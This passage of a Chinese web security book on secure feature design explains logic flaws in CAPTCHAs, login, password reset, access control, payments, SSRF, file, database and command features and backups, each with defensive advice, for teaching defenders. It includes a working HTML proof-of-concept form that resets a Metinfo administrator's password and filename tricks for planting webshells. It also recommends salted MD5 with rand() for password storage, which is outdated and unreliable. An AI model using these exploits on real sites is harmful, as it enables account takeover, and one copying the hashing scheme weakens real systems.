要打造安全的应用程序，要从业务功能的设计开始，只有功能设计得足够安全，编写代码的时候才会少出现一些漏洞，特别是逻辑漏洞。所以设计一个安全功能尤为重要。下面我们将对功能安全的痛点进行分析，这些功能包括验证码、用户登录、用户注册、密码找回、资料操作、投票、积分、抽奖、充值支付、私信反馈、文件管理、数据库管理以及命令执行等，对经常出现的漏洞以及利用方式进行详细的分析，再给出详细的安全设计应该注意的地方。这一部分内容对于项目设计人员和研发人员来说更有价值。"},
    {"text": "11.1 验证码 验证码可以解决很多业务安全问题，比如撞库、垃圾注册，等等，可谓防御业务风险必备神器。验证码有图片验证码、滑动验证码、短信/邮箱/电话、二维码等分类，而据保守估计起码有80%以上的验证码是存在可以爆破和简单识别的问题，设计一个有效的验证码尤为重要。 11.1.1 验证码绕过 图片验证码是目前见得比较多的，各种各样的图片验证码形式也比较多和奇葩，有中文、英文、字母数字和看图识物，等等，简单列举一下，如图11-1~图11-3所示。 图 11-1 图 11-2 图 11-3 不得不吐槽一下，一些验证码为了避免机器识别，已经被逼得设计成人类都认不出来了，业务和体验设计与安全是有一点矛与盾的，所以从业务角度考虑，我们还是能找到很多绕过这些验证码的方法，我们来一起看看。 1.不刷新直接绕过 Web页面登录等操作的验证码能够多次使用的原因是后端程序在接收一次请求后，并没有主动刷新验证码，部分比较大的业务使用了负载均衡，验证码跟Session绑定在一起，为了能够保证验证码能够正常使用，所以会把验证码明文或者加密后放在Cookie或者POST数据包里面，所以每次只要同一个数据包里面的两个验证码对上了即可绕过。 2.暴力破解 注册或者找回密码等敏感操作时的手机或者邮箱验证码能够爆破，主要是因为程序没有设置验证码错误次数和超时，导致能够不断进行尝试。 3.机器识别 机器识别验证码对于不同的验证码类型有不同的手段，最常见的是图片验证码的机器识别，这类识别有两种情况：一种是针对不是实时生成的验证码，已经生成了部分的验证码在服务器端保存，前端直接加载验证。这类是最好绕过的，只要把全部的验证码文件保存回来，做一个图片MD5库，然后利用的时候直接匹配服务器端返回的图片MD5即可识别。另外一种是动态生成的验证码，这类需要做一些图片文字识别或者语音识别，当初有一个笑话讲的是Google出的语音识别系统干掉了自家的语言验证码。国内也有专门提供这种服务的公司，比如云速，如图11-4所示。 4.打码平台 这类打码平台大多数后端是使用廉价的人工资源在打，比如学生什么的，国内比较有名的像打码兔（damatu1.com）、Q赚（qqearn.com），等等，让我们来看一个任务佣金表就知道成本有多低，如图11-5所示。 经过上面的分析，我们大致可以知道怎样设计一个强壮的验证码，主要有以下几点： 1）最重要的是，要设置验证码错误次数，比如一个验证码只能错误一次，这就避免了暴力破解的问题。 2）不把验证码放到HTML页面或者Cookie中。 3）验证码要设置只能请求一次，请求一次后不管错误与否都在后端程序强制刷新。 图 11-4 图 11-5 4）短信或者邮件验证码必须要6位以上字母和数字混合，图片或者语音验证码需要加强混淆干扰，比如图片文字变形，增加干扰斑点等。语音验证码增加背景噪声。 5）验证码要动态生成，不能统一生成多次调用。 11.1.2 验证码资源滥用 除了验证码识别外，验证码还存在一个大问题就是资源滥用。相信大家应该对短信轰炸或者邮箱轰炸比较了解，被轰炸的手机号会在短时间内收到大量短信，从而造成受害者手机一直响，也无法愉快地看短信，工具如图11-6所示。 图 11-6 我们来看看短信轰炸的效果，如图11-7所示。 图 11-7 从这些短信内容里面可以看到，这类工具是利用了大量网站的短信验证码接口，而这些接口没有限制获取验证码次数和时间间隔，导致了可以不断被调用，防护起来比较简单，只要注意限制单个手机号在一个时间段内请求接收短信的次数，另外就是限制某个IP在一个时间段内请求接收短信的次数，这是为了防止提交大量手机号，消耗短信资源。"},
    {"text": "11.2 用户登录 用户登录是最常见的一个功能，登录就意味着权限授予，如果攻击者能任意登录管理员的账号，也就拥有了管理员的权限，更多的访问权限就能带来更多的安全问题，所以在登录的安全尤为重要。通常登录功能有以下几个需要关注的点。 11.2.1 撞库漏洞 撞库漏洞是指登录口没有做登录次数限制，导致可以使用不同的用户及密码进行不断的登录尝试，以遍历用户密码，也可以理解为登录爆破，如图11-8所示。 图 11-8 撞库漏洞有以下几种情况： 1）用户名和密码错误次数都无限制 。这种情况是早期比较常见的，可以载入用户名和密码字典对登录口不断进行请求尝试。 2）单时间段内用户的密码错误次数限制 。之前有个“锁QQ”的茬儿，说的是QQ登录密码连续错误次数30次，就会被锁定QQ，就有人利用这个问题不断地去锁定别人的QQ。这种方式是基于账号可信认证，密码错误次数存在限制，认证的是账号。所以这种情况也是可以撞库的，只要我们有一个用户名列表，爆破完一个密码还不能登录就换一个用户，或者干脆基于社工库的密码来撞。 3）单时间段内IP登录错误次数限制 。比较典型的是discuz，就是基于IP来限制登录，当一个IP登录5次后还没有成功登录，则会被禁止该IP登录，不过discuz获取的是Client-IP存在绕过的问题。这种防御撞库的手段存在一个误杀的问题，如果出口IP里面还有一个大内网，比如企业网、学校网，这时候就会误杀其他用户。 针对撞库漏洞比较好的解决方案是使用登录验证码和多因素认证，登录验证码有很多种，选择安全的验证方式也很关键，因为目前网络上还有专门提供人工打码的服务平台。 11.2.2 API登录 2014年淘宝被曝光一个影响非常大的逻辑登录漏洞，漏洞发现者在乌云报告该漏洞后获得阿里5万元现金的奖励，随后阿里宣布拿出500万人民币建立漏洞悬赏计划。这个漏洞跟很多客户端API登录的形式差不多，相信大家都有在QQ客户端点击邮箱或者QQ空间的图标就直接免登录进入的经历，其实在后端也有一个验证登录过程。来看看淘宝当时的漏洞URL： https ： //login.taobao.com/member/login_by_safe.htm ？ sub=&guf=&c_is_scure=&from=tbTop&type=1&style=default&minipara=&css_style=&tpl_redirect_url=&popid=&callback=jsonp81&is_ignore=&trust_alipay=&full_redirect=&user_num_id=123456789&need_sign=&from_encoding=%810%851_duplite_str=&sign=&ll=&ei=QaIBU-XLLYze0wHy-YGoCw&usg=AFQjCNGXm310YgBJj5KDzLkZzaOAUl2UnQ&bvm=bv.61535280 ， d.cWc&cad=rjt 已经验证登录成功后会跳转到这个链接，这个链接里面有一个user_num_iduser_num_id参数，代表当前登录的用户ID，请求这个链接后服务器端会返回这个用户登录成功后的Cookie信息，这里的问题就在于将用户ID交给这个程序逻辑的时候，并没有带上唯一的一个Token，这就导致只要修改user_num_iduser_num_id这个参数即可登录任意用户。同样，QQ客户端点击图标进入QQ空间的时候我们可以看到这样一个链接： http ： //ptlogin2.qq.com/igame ？ clientuin=123456&clientkey=DC81BF8E5DC1DA7918DCA17A78FDF236DD6E41C09432B1DF5694F66B04C18DF54 其中clientuin参数为QQ号码，clientkey参数为当前用户登录的key，只要拿到这个clientkey则可以登录当前QQ号，对于这样的登录方式需要注意以下几个安全点： 1）登录密钥（clientkey）需要不可预测并且不固定，生成key的算法中加入随机字符。 2）API接口禁止搜索引擎收录。 3）登录密钥当次绑定当前主机，换机器不可用，防止QQ木马和嗅探key。 11.3 用户注册 淘宝有专门的风控团队，垃圾注册一直是比较头疼的问题，目前像贴吧、论坛、微博以及大部分的娱乐应用都有一些评论和投票功能，通过这些功能可以传播广告或者刷排名，于是就出现了商业机会，一些人开始写自动化注册机去发广告，导致社区质量下降，大部分的网站都是需要登录才能使用这些功能的，而登录的前提是有账号，所以注册账号这块拦截掉注册机是最好的防御点。 机器注册已经被拦截得差不多，现在恶意注册的诈骗团伙已经以低价向学生提供兼职注册服务，由学生人工注册账号，填写验证码。对于这样的注册方式，就只有用大数据来分析注册账号的电脑、IP以及注册人行为去防控。在注册这方面，淘宝已经加入了滑动人机识别，并且效果非常不错，如图11-9所示。 图 11-9 对于用户注册，需要有以下几个安全设计思路： 1）设计验证码。 2）采集用户机器唯一识别码，拦截短时间内多次注册。 3）根据账号格式自学习识别垃圾账号。 4）防止SQL注入漏洞与XSS漏洞（常见）。"},
    {"text": "11.4 密码找回 密码找回是出现逻辑问题最多的一个功能，因为它的交互流程最多，目前找回密码的方式比较常见的有邮箱验证码、手机验证码以及密保问题，这个流程通常如图11-10所示。 图 11-10 这个三个大流程中都经常有一些逻辑问题，下面我们来详细看看。 1.输入用户名/邮箱/手机阶段 这里有一个交互过程，即需要输入要重置的账号信息，单击确定的时候，目前大部分的应用会直接从数据库中读取用户邮箱和手机信息，并且发送验证码，还有一部分程序在输入用户名后，会提示使用手机还是邮箱找回密码，并且邮箱和手机号中的一部分会显示在页面上，比如网易账号，如图11-11所示。 提交的时候可以直接抓包修改手机或者邮箱参数，这时候如果后端没有做验证，原本发送给账号A的验证码会发送到被我们篡改的手机或者邮箱上，利用接收到的验证码即可重置密码。 2.填写验证码和新密码阶段 填写验证码和新密码就意味着我们已经拿到了验证码或者重置密码的URL，这里存在的问题主要有： 图 11-11 1）验证凭证较简单，可以被暴力破解 。目前大多数手机短信重置密码的验证码都是4位或者6位数字，如果提交验证码的地方没有对这个验证码进行错误次数限制，则会存在可以爆破的问题，这是目前最常见的一种找回密码漏洞利用方式。 2）验证凭证算法简单，凭证可预测 。部分网站找回密码的Token是根据当前的“用户名+邮箱”或者时间戳进行一次MD5后生成，这就存在一定的预测性，利用自己写的算法去碰撞即可拿到争取到的重置密码凭证。 3）验证凭证直接保存在源码里 。这种目前比较少，不过也存在一定比例，一种是在点击发送验证码的时候就可以直接在源码里看到给当前手机或者邮箱发送过去的验证码，还有一种是在输入验证码的时候，源码里面就直接保存了正确的验证码。 3.发送新密码阶段 凭证未绑定用户 ：我们在找回密码的时候，发送到邮箱的链接通常是如下这个样子 http ： //www.xxx.com/user.php ？ m=repwd&uid= 用户 ID&key= 凭证密钥 &email= 邮箱 当请求这个链接的时候，后端程序根据uid和key对应上了从而判断这个找回密码的链接有效，但是在将新密码提交到服务器的时候，服务器端并没有判断当前这个key是否跟uid或者email匹配，而是直接修改掉了uid或者email指定的用户密码，这样我们只要拦截修改密码的请求包，将里面的用户参数修改成我们要篡改密码的用户账号即可。 基于以上对密码找回的利用方法分析，可以想到的安全风险点应该注意的有： 1）接收验证码的邮箱和手机号不可由用户控制，应该直接从数据库中读取出来。 2）加强验证凭证复杂度，防止被暴力破解。 3）限制验证凭证错误次数，单个用户在半个小时内验证码错误三次，半小时内禁止找回密码。 4）验证凭证设置失效时间。 5）验证凭证不要保存在页面。 6）输入用户邮箱或ID、手机号取验证凭证的地方需要设置验证码防止短信炸弹和批量找回等。 7）验证凭证跟用户名、用户ID、用户邮箱绑定，找回密码时验证当前凭证是否是当前用户的。 11.5 资料查看与修改 用户的资料操作涉及权限问题，其实这里主要介绍的是越权漏洞的利用场景，为了保护用户的隐私，大多数网站提供了用户权限控制的功能，用户可以自己设置个人资料是否允许别人查看，在权限控制方面，主要有以下几种利用场景： 1）未验证用户权限 。这里说的未验证用户权限是指直接修改当前资源ID即可浏览该资源，没有验证当前这个资源是否属于当前用户，比如用户A的订单ID是111，用户B的订单ID为222，用户A登录后查看自己订单详情的时候，将URL中的订单ID参数改为222即可看到用户B的订单，2014年的时候阿里巴巴国际贸易站因为这个漏洞被炒作受了很大的舆论影响。 2）未验证当前登录用户 。上一种情况是没有验证当前这个资源是否属于当前用户，而这种情况是虽然程序绑定了用户ID和资源ID，但是这个用户ID是在访问资源时直接从cookie或者post、get参数里面获取的，所以我们只要在cookie里面把用户ID修改成另外一个用户的ID，就可以利用他的权限操作他的东西，这是目前见得比较多的一种情况。 上面介绍的两种情况，虽然只是列举用户资料查看，但是更多的出现是在用户资料修改，比如个人资料、订单、密码，等等。 对于用户注册功能我们需要用到的防御思路有： ·用户资源ID（订单ID、地址ID类似，等等）绑定到用户，只允许有权限的用户查看。 ·当前用户信息存储到session，不放到request中，避免攻击者修改当前用户ID。"},
    {"text": "11.6 投票/积分/抽奖 投票和抽奖以及积分在很多促销活动或者推广手段上都经常用到，背后的奖品成本可能上数十万，如果这些奖品被恶意用户（黄牛）刷走了，不仅推广的效果没有，而且浪费了成本投入，如图11-12所示。 图 11-12 不管是投票、积分还是抽奖，都存在一个共同点：即单个用户次数存在限制，比如一场活动中一个用户只能抽奖一次。这样的限制也会存在很多种绕过方式，下面我们来看一个真实案例，笔者在乌云找了这么一个漏洞： 缺陷编号：WooYun-2014-65631 漏洞标题：设计缺陷导致抽奖功能存在刷次数情况 相关厂商：M1905.COM 漏洞作者：路人甲 我们来看看漏洞情况。首先，注册账号进入 http://t4.m1905.com/ 来到抽奖部分，然后做完两个任务，可以抽两次奖，抽完后页面如图11-13所示。 抽完奖之后删除cookieshared_t42014和logind_t42014，刷新页面后即可再次做任务并抽奖，如图11-14所示。 图 11-13 图 11-14 从这个案例中可以看到程序是基于cookie验证，所以删除相应cookie即可绕过限制。 通常抽奖和投票有如下几种利用方法： 1）cookie或POST请求正文绕过。有的应用将验证是否抽奖或者领取积分的判断值放置在cookie或者POST的请求正文里，服务器端获取到这个结果后判断是否还有机会抽奖，而这个数据我们是可以直接在数据包中修改的，所以就会产生绕过，比如cookie中isok=1代表已经抽奖，isok=0代表还没有抽奖，而我们只要再点击抽奖，然后把isok的值改为0即可一直抽奖。 2）基于IP验证。做得比较弱的统计是直接基于IP验证，像访问量、推广获取积分等，这类要看程序获取IP的方式，如果是client-ip或者x_forword_for获取IP，则可以直接伪造IP绕过。 3）基于用户认证。也有一部分应用需要登录以后才能抽奖或者投票，这类可以结合看看能不能批量注册，如果可以，则可以用程序实现批量登录刷票，或者投票的时候POST包或者cookie里面的当前uid、用户名等是否可以随意修改绕过用户单次限制。 从上面利用手段可以看到主要的三个点是IP、登录用户cookie，分析出可用性较高的防御手段如下： ·机器识别码验证，每台机器都可以根据硬件信息生成唯一的识别码。 ·操作需要登录，当前用户信息从session中读取。 11.7 充值支付 关于支付漏洞已经在6.2.1.4节详细介绍过，主要有四种，分别是客户端可修改单价、总价和购买数量以及利用时间差多次购买，这里不再反复介绍，针对这四种情况的主要应对手法是： 1）保证数据可信，商品单价及总价不可从客户端获取。 2）购买数量不能小于等于0。 3）账户支付锁定机制，当一个支付操作开始就应该立马锁定当前账户，不能同时两个后端请求对余额进行操作。 11.8 私信及反馈 私信和反馈功能在大多数网站中都能见到，特别是社交应用，私信是必不可少的功能。这个功能是两个用户之间互动使用，两端都是人，除了特殊情况下可以滤去的SQL注入或者命令执行等少见漏洞外，最常见的就是XSS漏洞以及越权漏洞。 近年流行的XSS盲打平台把XSS漏洞推向了利用高潮，XSS盲打是指在不确定能否利用的情况下输入XSS代码进行不可预知的攻击，而这正是利用了私信和反馈这些功能，因为这些功能可以直接跟管理员沟通，利用其中存在的XSS漏洞拿到管理员cookie数据。我们来看乌云网的一个例子： 缺陷编号：WooYun-2015-118779 漏洞标题：爱鲜蜂app某处可盲打已入后台 相关厂商：爱鲜蜂 漏洞作者：路人甲 在应用的意见反馈处插入XSS代码，如图11-15所示。 图 11-15 当管理员在Web后台查看反馈后，即可获得管理员的cookie，如图11-16所示。 图 11-16 最后利用cookie登录后台，如图11-17所示。 图 11-17 对于私信和反馈的XSS漏洞防御并没有什么特别的手段，跟我们之前介绍过的XSS防御方法一样，最主要的是将特殊字符进行过滤，另外是使用白名单和黑名单结合的方式。"},
    {"text": "11.9 远程地址访问 Wordpress、phpcmsd等众多应用都有访问远程地址获取资源的功能，这个功能产生的漏洞叫做SSRF（Server-Side Request Forgery），我们在QQ消息中发送网页链接的时候，会显示出网页的标题和部分内容，这就说明腾讯的服务器有去访问我们发送的这个链接，那如果腾讯没有做地址限制，我们在聊天框里面发送一个腾讯内网的一个地址，那它再去访问的时候我们就能知道这是一个内网的什么系统，造成信息泄露，甚至内网漏洞利用，我们来看一个乌云网的例子： 缺陷编号：WooYun-2015-118052 漏洞标题：美丽说某处ssrf探测内网存活主机 相关厂商：美丽说 漏洞作者：玉林嘎 提交时间：2015-06-04 09：37 美丽说开发平台 http://center.open.meilishuo.com/app/createApp 有一个填写回调地址的地方，当填写的时候服务器会去访问这个地址是否有效，如图11-18所示。 图 11-18 如果有人恶意填个内网呢，先看看当填写一个不存在的地址时，页面会返回“回调地址检测失败”，如图11-19所示。 图 11-19 当地址存在时，则会返回“回调地址检测成功”，如图11-20所示，那我们就可以利用这个返回结果的差异来对比，批量扫描内网。 图 11-20 案例里面是HTTP协议的探测，实际上这个跟协议没有关系，之前也有厂商出现过连接远程MySQL服务同样的SSRF漏洞。 这类漏洞防御看起来好像没有什么难度，只要限制填写就可以，但是大部分厂商修复的时候应该不会考虑到短地址的问题，所以在修复之后仍然可以通过生成短链接来利用，建议修复的时候注意这点。 11.10 文件管理 文件管理功能本身就是一个高危功能，可以直接对服务器中的文件进行操作，包括上传、下载、修改、删除，如果权限管理不当，可能导致被黑客直接利用该功能写入webshell，实际上目前大多数上传webshell的方式确实是利用了文件操作功能，dedecms后台的文件管理就是非常典型的一个例子，如图11-21所示。 图 11-21 一个文件管理功能为了保证安全，在满足业务需求的情况下，设计的时候应该遵循以下几个点： 1）禁止写入脚本可在服务器端执行的文件 。比如服务器能解析PHP，那么在设计文件管理这个功能的时候，就需要限制不能操作PHP扩展名的文件和PHP标签的代码。为什么说连代码标签也要限制？因为前端页面的都套用了HTML模板，大多是直接包含了HTML文件，如果我们直接在模板文件中插入PHP代码，最终也能执行。 2）限制文件管理功能操作的目录 。通常需要被管理的文件只有模板文件以及图片文件，所以我们可以在文件管理功能上限制只能操作这两个目录，目录不能从客户端提交，直接在代码中设置好即可，如果实在需要进行目录跳转的话，一定要禁止提交../以及\\..，避免越权操作其他目录。 3）限制文件管理功能访问权限 。之前我们已经说到文件管理功能本身就是一个非常敏感的功能，虽然是一个正常的功能，但是已经有一点后门的性质，所以对于这个功能的访问权限一定要进行严格的控制。 4）禁止上传特殊字符文件名的文件 。大多数应用都会对上传的文件进行展示，特别是对外开发的网盘类应用，这时候就要注意对上传的文件名进行检查，禁止文件名中有尖括号、单双引号等特殊字符，避免攻击者用文件名来进行XSS攻击。 11.11 数据库管理 数据库管理跟文件管理一样，也是一个高危功能，可以直接操作数据库，对数据库进行备份、执行SQL语句，等等，如果启动数据库服务的系统用户以及数据库用户的权限都够大，那么完全可以利用这个功能直接执行系统命令以及操作服务器上的文件，如图11-22所示。 图 11-22 数据库管理有多个功能形式，比如discuz的数据库管理就是一个备份和优化的功能，其备份功能是可以操作所有表，另外一种是可以直接执行SQL语句进行操作。对于这两种情况下的安全设计，应该注意以下几个点： 1）限制可以操作的数据库表，如果是数据库备份可以直接在代码里面写死只能操作哪些表，如果是执行SQL语句的方式可以另建一个MySQL用户，限制可以操作的表和字段。 2）限制备份到服务器上的文件名，需要系统随机生成类似md5并且长度不能低于16位，扩展名不能自定义，这样做的目的一是防止攻击者利用该功能导出webshell，二是防止被猜解到文件名直接下载。 11.12 命令/代码执行 命令执行和代码执行功能通常都在系统后台，相比来说，命令执行的功能使用的更多一点，代码执行功能在特殊应用上面才会存在，而命令执行在类似Zabbix、WDCP等大量运维系统上都存在，如图11-23所示。 图 11-23 该功能可以直接在服务器上执行系统命令，危害性自然不言而喻，命令执行和代码执行功能再加上前面提及的文件管理和数据库管理功能，目前的webshell功能也不过如此了。 一旦这个功能被拿下，基本上服务器就沦陷了，所以在设计这类功能时应该注意以下几点： 1）严格控制该功能访问权限，建议高权限才能访问。 2）在满足业务需求的情况下，可以设置命令白名单，可使用escapeshellcmd（）以及escapeshellarg（）函数进行过滤，命令直接写死在代码中更好。 3）给命令及代码执行功能设置独立密码。 4）代码执行功能限制脚本可访问的路径。 5）在满足需求的情况下限制当前执行命令的系统用户权限。"},
    {"text": "11.13 文件/数据库备份 网站源码备份和数据库备份是非常常见的一个功能，也是非常容易出现安全问题的一个功能，如图11-24所示为discuz数据库备份功能，需要配置多个选项，图中为discuz后台数据库导出功能。 通常文件和数据库备份功能容易出现的问题有如下几种情况： 1）未授权访问和越权访问。未授权访问体现在这个备份功能直接在不登录或登录验证存在漏洞的情况下可以直接使用，以及存在CSRF漏洞可以直接劫持管理员账号进行备份，discuz的CSRF备份数据漏洞就是非常好的一个例子。 2）备份文件名可预测。备份文件名要么是备份的时候人工设置的，要么是自动生成的，如果是人工设置的，在使用完这个功能后可能存在忘记删除备份文件，导致恶意用户可以利用枚举的方式扫描到这个备份包。而自动生成则可能存在生成的文件名比较弱的问题，比如生成的文件名为当前日期，只要简单遍历下即可扫描到，非常不可靠。 3）生成的文件可利用Web中间件解析漏洞执行代码。 渗透测试中写入webshell经常会用到Web中间件的解析漏洞，而当备份功能可以自定义文件名的时候，只要在数据库中写入PHP代码，然后在IIS下时，利用数据库备份功能生成类似“1.asp；.jpg”文件名的文件，到Apache的下就备份成文件名为“1.php.zip”这样的文件，就可以直接执行我们在数据库中插入的代码。 图 11-24 针对如上的分析，我们来总结一下怎么设计备份功能： 1）进行权限控制，由于备份功能是一个非常高危敏感的功能，一定要限制高权限才能使用。 2）文件名随机生成，不可预测，可以把当前时间戳加上6位以上字母和数字随机生成的字符串进行md5来做为文件名。 11.14 API API（Application Programming Interface，应用程序编程接口）是一些预先定义好的类和函数，为其他程序提供一个简单的资源调用接口，调用API接口通常需要给它一个参数，API根据这个参数计算结果返回给调用方，返回形式有JSON、序列化、Base64编码等方式，这种API随处可见，如图11-25所示为新浪网的一个API接口。 图 11-25 从图中可以看到这个接口传入了很多参数，这种接口如果是在安卓、iOS等APP中使用时，传统的漏洞扫描器很难进行高覆盖率漏洞扫描，因为爬虫无法抓取到这种API接口，所以接口的SQL注入等漏洞就相对较多，如图11-26所示是乌云网搜索“接口”关键字的结果，数量达到上千条。 从乌云网的API漏洞可以看到目前API最多的问题是未授权访问以及数据遍历漏洞，如果一个接口随随便便就可以被调用，在业务有一定价值的情况下，相信肯定会有不少人利用这个接口进行一些不当操作，而频繁操作会给服务器造成非常大的资源消耗，因此设计一个安全的API应该从以下几点着重考虑： 1）访问权限控制。必要的情况下加入账户体系，严格控制数据调用权限，比如当前用户必须在登录情况下，接口参数中传入自己登录成功的凭证才能调用这个用户的数据。另外不需要账户体系的情况下也要注意加入不可暴力破解的访问密钥进行权限验证。 2）防止敏感信息泄露。之前对知乎的App进行了抓包分析，其中用户资料的API就存在注册邮箱信息泄露，该接口会返回当前查看的用户资料，其中包括注册邮箱，这样只要知道某个人的知乎账号即可知道他的个人邮箱，类似于这种没必要输出的信息应该要注意禁止输出。 图 11-26 3）SQL注入等常规漏洞。由于传统扫描器很难抓取到完整的接口和参数，当检测变得少了，漏洞自然就多了，所以我们在开发接口的时候要特别注意代码安全，注意防止SQL注入、代码执行等漏洞的产生。 第12章 应用安全体系建设 信息安全的防御遵从木桶原理，这个观点在安全界受到一致认可，所以整个应用安全状态不是由某一个业务点或者功能点决定，需要从根源去解决安全问题。 我认为企业安全防御包含两点：横向细化策略和纵深策略。横向细化策略的精髓在于坚持能杀掉一个是一个的原则，依靠规则量来填补空洞，规则做得越细，拦掉的攻击越多。这是在提升黑客的攻击成本，而缺点在于同样也提升了防御成本，需要更多的投入。而纵深防御策略是假设上一层防御策略失效而设计的内网防御策略。这两种安全原则不仅仅用在企业整体安全建设上，更是要细化到每个应用设计上面。 本章将介绍横向细化策略和纵深策略的具体实施方法和典型案例，如给一个后台登录口加上手机短信验证，加上验证码，再加上密码错误次数限制等，这些手段都是为了防止暴力破解行为。而当攻击者通过其他手段得到了内网访问权限，这时候登录还需要设置手机短信验证码来验证登录权限等手段。"},
    {"text": "12.1 用户密码安全策略 密码是用户登录非常重要的验证凭证，特别是管理员账号的密码安全更加敏感，按理来说账户出现异常是不能把责任全推给用户的，应用程序应该在设计的时候就考虑到密码安全策略。针对密码安全，笔者曾经在AWDC（阿里云开发者大会）上做过分享，笔者从互联网收集到大量泄露的网站用户数据库，对这些密码进行了分析，其中密码加密情况如图12-1所示。 图 12-1 从分析中得到，泄露的密码中有接近30%为明文密码，剩余70%多基本为简单的MD5加密，而通常普通用户密码强度普遍不高，据笔者统计使用率最高的几个密码如图12-2所示。 图 12-2 所以一旦某一家网站数据库泄露，MD5加密很容易被破解，会导致该账户多个网站的账户都被登录，泄露更多个人信息。 为了解决密码安全问题，单从密码策略上面来说，我们应该遵守以下原则： 1）强制密码使用8位以上的“大小写字母+数字+特殊字符”的组合。 2）禁止使用123456以及1qaz2wsx等弱口令。 3）禁止用户名和密码相同，或者存在较大相似度。 12.2 前后台用户分表 前台用户指的是没有登入后台权限的普通用户，这类用户是不需要操作后台数据的，而后台用户即管理员用户，有后台登入权限，并且可以在后台对应用进行配置，从逻辑上来讲，两个不在同一操作层面的账户等级，完全不用将账户放到同一个数据库表里面，因为当同表的情况下可能存在越权修改管理员信息的情况，比如密码、找回密码的邮箱等，这一类的例子已经不少见，比如像笔者2012年发现的metinfo企业管理系统的任意用户密码修改漏洞，就可以修改管理员的密码，具体的漏洞情况如下。 Metinfo系统的会员和管理员都在met_admin_table表，我们看到member\\save.php文件，代码如下： if （ $action==\"editor\" ） { $query = \"update $met_admin_table SET admin_id = '$useid' ， admin_name = '$realname' ， admin_sex = '$sex' ， admin_tel = '$tel' ， admin_modify_ip = '$m_user_ip' ， admin_mobile = '$mobile' ， admin_email = '$email' ， admin_qq = '$qq' ， admin_msn = '$msn' ， admin_taobao = '$taobao' ， admin_introduction = '$admin_introduction' ， admin_modify_date = '$m_now_date' ， companyname = '$companyname' ， companyaddress = '$companyaddress' ， companyfax = '$companyfax' ， companycode = '$companycode' ， companywebsite = '$companywebsite'\" ； if （ $pass1 ） { $pass1=md5 （ $pass1 ）； $query .=\" ， admin_pass = '$pass1'\" ； } $query .=\" where admin_id='$useid'\" ； $db->query （ $query ）； Metinfo系统跟dedecms一样，有一个变量注册的机制，只要我们在HTTP请求里面提交一个参数，就会被自动注册成变量，这段代码中的SQL语句拼接起来大概的意思如下： update $met_admin_table SET ... 省略 ... admin_pass = '$pass1' where admin_id='$useid' 由于这里的$useid变量就是直接从请求中获取，所以当我们提交用户ID为1，即管理员用户的时候，就可以直接修改管理员密码，利用代码如下： <form method=\"POST\" name=\"myform\" action=\"http ： //www.xx.com/member/save.php ？ action=editor\" target=\"_self\"> <table cellpadding=\"2\" cellspacing=\"1\" border=\"0\" width=\"95%\" class=\"table_member\"> <tr> <td class=\"member_text\"><font color=\"#FF0000\">*</font> 用户名 &nbsp ； </td> <td colspan=\"2\" class=\"member_input\"> <input name=\"useid\" type=\"text\" class=\"input\" size=\"20\" maxlength=\"20\" value=\"seay\" ></td> </tr> <tr> <td class=\"member_text\"><font color=\"#FF0000\">*</font> 密码 &nbsp ； </td> <td colspan=\"2\" class=\"member_input\"> <input name=\"pass1\" type=\"password\" class=\"input\" size=\"20\" maxlength=\"20\"></td> </tr> <td class=\"member_submit\"><input type=\"submit\" name=\"Submit\" value=\" 提交信息 \" class=\"submit\"></td> </tr> </form> 保存为以上内容为1.html，用户名输入框填写要修改的用户名（管理员基本用户名都是admin），密码填写成要修改成的密码，修改代码中www.xx.com为目标网站域名，提交之后即可修改该用户密码。 笔者当时测试了下官方Demo网站，成功修改创始人密码，并且成功登入管理后台，如图12-3所示，该漏洞已经在第一时间提交给官方修复。 图 12-3 通过以上例子可以看出将前后台用户分表存储的必要性，可以很大程度上防止账户体系上的越权漏洞。 12.3 后台地址隐藏 渗透测试中几乎每次都要做的事情就是对网站目录进行枚举，看看有没有敏感文件和后台地址泄露，这类工具有很多，其中御剑就是用户量非常大的一款工具，只要在作业列表栏里面点击添加按钮，输入HTTP访问地址之后，再点击“开始扫描”即可对网站进行目录探测，如图12-4所示。 图 12-4 一旦发现后台地址，就会对后台进行暴力破解等操作，甚至会利用社会工程学的方式想方设法拿到管理员的密码，相对而言，如果我们连后台地址都不让攻击者找到，那这些攻击手段就用不上，所以，后台目录不能固定，应该由用户登录后台页面后自定义设置，或者直接修改后台文件夹即可，为了提高安全性，还应该在安装完成后立刻提醒管理员修改后台地址，比如DedeCMS就一直在后台主页标红显示，如图12-5所示。 图 12-5"},
    {"text": "12.4 密码加密存储方式 从各大社工库交易论坛来看，目前每天都有不少网站被拖库，其中不乏行业影响力排行靠前的企业网站，总计公开的数据库达十亿条以上，如图12-6和图12-7所示。 图 12-6 图 12-7 密码安全的存储成为了保障用户信息安全首要关注的事情，据笔者的统计分析，泄露的数据有30%未加密，60%以上采用的MD5和sha1类型的哈希算法存储，由于普通用户的密码普遍不会很复杂，保守估计90%以上的用户密码可以轻松被解密，有多家网站专门提供密码破解的服务，像cmd5.com、xmd5.org等，其中cmd5.com更是号称破解成功率高达95%，既然用户自己不会设置高强度的密码，那服务方应该想办法解决这个问题，一是采用高强度安全环境保存，数据仍然是普通MD5等算法保存，不过谁也无法保证100%安全，这种做法看起来有鸡肋的感觉，另外一种做法就是为密码加一个极其复杂的固定字符串，再进行MD5或者sha1算法进行保存，这样通过枚举的方式就很难解密，举一个例子，代码如下： < ？ php $password=$_POST['password'] ； $safestr = \"0123456789abcdefghijklmnopqrstuvwxyz~ ！ @#$%^&* （） _+}{.| ； \" ； $salt=\"\" ； for （ $i=0 ； $i<6 ； $i++ ） { $salt .= $safestr[rand （ 0 ， 54 ） ] ； } $password=md5 （ md5 （ $password.'*5t42g^_^$$FFSD' ） .$salt ）； echo $password ；？ > 将生成的salt存入数据库中，后期验证过程中将salt取出重新用MD5运算一下，对比结果即可知道密码是否正确。 12.5 登录限制 基于纵深防御的思想，假设前面所说的后台地址已经泄露，假设密码被社会工程学等方式窃取到，这种情况下我们就要考虑在登录这一层设置障碍，即使攻击者拿到密码也无法登录，想实现这一效果该怎么做呢，是做信誉体系？自动识别好人和坏人？这种方式很有效果，但是实现起来太庞大，一般的公司没有这样的数据基础去做件事，所以用代码来简单实现最简单的策略如下所示。 1）限制登录IP。只能固定IP访问，或者说公司内网访问，在外网需要访问的时候拨VPN即可。 2）双因素认证。限制内网IP是相对安全的，但是还不够安全，因为攻击者有很大的可能已经通过其他途径进入到内网，所以就需要用到双因素认证手段，比如手机验证码、动态令牌都是非常有效的方式，我们在渗透测试的时候经常遇到这种情况：拿到密码之后要双因素认证才能登录。 12.6 API站库分离 